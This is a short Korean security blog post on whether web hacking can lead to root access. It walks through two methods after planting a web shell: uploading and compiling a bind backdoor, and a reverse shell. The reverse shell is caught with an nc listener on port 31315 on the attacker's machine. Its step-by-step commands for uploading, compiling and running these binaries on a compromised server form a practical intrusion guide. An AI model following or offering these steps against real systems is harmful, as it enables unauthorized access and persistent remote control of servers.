본문 바로가기

Computer/0x00 정보보안

웹해킹으로 루트를 획득할 수 있는가?

웹해킹으로 루트를 획득할 수 있는가?





 해킹의 경우 일반적으로 시스템해킹,네트워크해킹과 따로 분류하여 생각하는 경우가 많습니다.

그러나 사실 유기적으로 연결되어 있기 떄문에 사실상 가장 취약하고 쉽게 접근 가능한 웹해킹을 통해

시스템 안으로 침투하는 경우가 많이 발생하고 있습니다.



이번 시간에는 웹해킹을 통해서 '루트(root)'를 획득 할 수 있는지에 대한 큰 방법 2가지에 

대해서 생각해 보는 시간을 갖겠습니다.




루트를 획득하는 2가지 흐름



여러가지 방법을 통하여 '웹쉘' 이식에 성공을 합니다.

위에 화면은 초기형태의 웹쉘로 '오리지널'에 가까운 녀석 입니다.


대게 이상태에서 시스템 명령어를 수행 할 수 있으나, 한 단계 더 나아가 'root' 까지 획득 하려면 

해야 할까요?  아니 웹해킹으로 시스템의 최고권한이자 '슈퍼유저'인 'root'를 획득 할 수 있기는

한걸까요?


정답은, 가능합니다. 크게 2가지 방법이 있으며 그것은

bind 와 reverse 입니다.




1.bind(backdoor)


gcc가 제공되는지 여러부를 에러메세지를 통해서 텍스트로 저장한후 

gcc 2>jin

cat jin


- 웹쉘의 경로를 tmp 디렉토리로 바꿉니다.

- upload 버튼이 있는 기능을 사용해 업로드 합니다.

- 명령어 입력창을 이용하여 'backd00r.c'를 컴파일 합니다.

gcc -o backd00r backd00r.c

- 명령어 입력창에서 'backd00r' 바이너리를 실행 합니다.

./backd00r

- 웹쉘이 들어 있는 서버의 주소로 텔넷접속

port번호는 소스코드에서 설정한 것을 사용해야 합니다.



2. Reverse 

- 웹쉘의 경로를 tmp 디렉토리로 바꿉니다.

- 소스내의 IP주소와 포트를 내 윈도의 것으로 수정 합니다.

- upload 버튼이 있는 기능을 사용해 업로드 합니다.

- 명령어 입력창을 이용하여 'reverse.c' 를 컴파일 합니다.

gcc -o reverse reverse,c


- 소스내에 있는 포트번호를 내 윈도에서 열어 놓습니

  nc -L -p 31315

- 명령어 입력창에서 웰쉘이 있는 서버내의 'reverse' 

바이너리를 실행합니다.


./reverse